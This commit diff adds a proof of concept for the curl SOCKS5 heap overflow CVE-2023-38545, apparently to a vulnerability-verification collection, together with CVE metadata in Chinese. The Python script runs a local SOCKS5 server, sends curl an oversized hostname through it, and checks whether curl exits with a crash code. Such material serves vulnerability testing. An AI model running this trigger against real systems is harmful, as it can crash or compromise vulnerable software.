Pre Merge pull request !466 from LI, WENJIE/master
This commit is contained in:
commit
6987e2c3e6
|
@ -0,0 +1,89 @@
|
||||||
|
import socket
|
||||||
|
import os
|
||||||
|
import threading
|
||||||
|
import sys
|
||||||
|
# chatgpt生成简易的socks服务
|
||||||
|
def start_server(host, port):
|
||||||
|
# 创建监听socket
|
||||||
|
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
server_socket.bind((host, port))
|
||||||
|
server_socket.listen(1)
|
||||||
|
#print(f'Socks5 proxy server started on {host}:{port}')
|
||||||
|
|
||||||
|
while True:
|
||||||
|
# 接受客户端连接
|
||||||
|
client_socket, client_address = server_socket.accept()
|
||||||
|
#print(f'Accepted connection from {client_address[0]}:{client_address[1]}')
|
||||||
|
|
||||||
|
# 处理客户端请求
|
||||||
|
data = client_socket.recv(4096)
|
||||||
|
# 实现Socks5协议的握手过程
|
||||||
|
client_socket.send(b'\x05\x00')
|
||||||
|
data = client_socket.recv(4096)
|
||||||
|
# 解析客户端请求
|
||||||
|
version = data[0]
|
||||||
|
cmd = data[1]
|
||||||
|
addrtype = data[3]
|
||||||
|
if addrtype == 1:
|
||||||
|
# IPv4地址类型
|
||||||
|
dest_addr = socket.inet_ntoa(data[4:8])
|
||||||
|
dest_port = int.from_bytes(data[8:10], byteorder='big')
|
||||||
|
elif addrtype == 3:
|
||||||
|
# 域名地址类型
|
||||||
|
dest_addr_len = data[4]
|
||||||
|
dest_addr = data[5:5+dest_addr_len]
|
||||||
|
dest_port = int.from_bytes(data[5+dest_addr_len:7+dest_addr_len], byteorder='big')
|
||||||
|
else:
|
||||||
|
# 不支持的地址类型
|
||||||
|
client_socket.close()
|
||||||
|
continue
|
||||||
|
|
||||||
|
# 连接目标服务器
|
||||||
|
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
server_socket.connect((dest_addr, dest_port))
|
||||||
|
|
||||||
|
# 响应客户端连接成功
|
||||||
|
reply = b'\x05\x00\x00\x01'
|
||||||
|
reply += socket.inet_aton('0.0.0.0') + (port).to_bytes(2, byteorder='big')
|
||||||
|
client_socket.send(reply)
|
||||||
|
|
||||||
|
# 进行数据转发
|
||||||
|
while True:
|
||||||
|
data = client_socket.recv(4096)
|
||||||
|
if len(data) == 0:
|
||||||
|
break
|
||||||
|
server_socket.sendall(data)
|
||||||
|
|
||||||
|
# 关闭连接
|
||||||
|
client_socket.close()
|
||||||
|
server_socket.close()
|
||||||
|
|
||||||
|
def poc():
|
||||||
|
command_parts = [
|
||||||
|
"curl",
|
||||||
|
"--limit-rate", "1025",
|
||||||
|
"-vvv",
|
||||||
|
"-x", "socks5h://127.0.0.1:10801",
|
||||||
|
"$(python3 -c \"print(('A'*10000), end='')\")"
|
||||||
|
]
|
||||||
|
command = " ".join(command_parts)
|
||||||
|
|
||||||
|
# 执行命令
|
||||||
|
exit_code = os.system(command) >> 8
|
||||||
|
#print(f"命令的退出状态码:{exit_code}")
|
||||||
|
return exit_code
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
for _ in range(50):
|
||||||
|
# 启动服务器的线程
|
||||||
|
server_thread = threading.Thread(target=start_server, args=('127.0.0.1', 10801))
|
||||||
|
server_thread.start()
|
||||||
|
sys.stderr = open(os.devnull, 'w')
|
||||||
|
# 执行 poc
|
||||||
|
exit_code=poc()
|
||||||
|
if exit_code==134 or exit_code==139:
|
||||||
|
print('status:successfully')
|
||||||
|
sys.exit()
|
||||||
|
print('status:failed')
|
|
@ -0,0 +1,4 @@
|
||||||
|
## 漏洞验证
|
||||||
|
'''
|
||||||
|
python3 CVE-2023-38545.py
|
||||||
|
'''
|
|
@ -0,0 +1,19 @@
|
||||||
|
id: CVE-2023-38545
|
||||||
|
source:
|
||||||
|
info:
|
||||||
|
name: curl是一款用于从服务器传输数据或向服务器传输数据的工具。
|
||||||
|
severity: High
|
||||||
|
description: |
|
||||||
|
当要求curl将主机名传给SOCKS5代理进行地址解析时,若主机名超过255字节,curl将会发生基于堆的缓冲区溢出。由于在缓慢的SOCKS5握手中,一个本地变量可能会产生错误值,导致curl不是复制已解析的地址,而是复制过长的主机名至目标缓冲区。此漏洞同时影响命令行工具curl和依赖库libcurl。
|
||||||
|
scope-of-influence:
|
||||||
|
7.69.0<=curl<=8.3.0
|
||||||
|
reference:
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-38545
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
|
||||||
|
cvss-score: 7.5
|
||||||
|
cve-id: CVE-2023-38545
|
||||||
|
cwe-id: CWE-787
|
||||||
|
cnvd-id: None
|
||||||
|
kve-id: None
|
||||||
|
tags: cve2023, 缓冲区溢出
|
|
@ -73,4 +73,6 @@ cve:
|
||||||
- CVE-2023-21752
|
- CVE-2023-21752
|
||||||
glibc:
|
glibc:
|
||||||
- CVE-2023-4911
|
- CVE-2023-4911
|
||||||
|
curl:
|
||||||
|
- CVE-2023-38545
|
||||||
cnvd:
|
cnvd:
|
||||||
|
|
Loading…
Reference in New Issue